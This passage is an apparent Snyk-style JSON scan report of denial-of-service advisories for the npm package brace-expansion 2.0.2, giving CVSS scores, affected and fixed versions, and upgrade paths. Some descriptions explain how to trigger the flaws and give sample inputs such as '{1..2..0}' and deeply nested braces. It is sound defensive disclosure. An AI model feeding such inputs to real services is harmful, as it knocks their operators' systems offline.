"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to 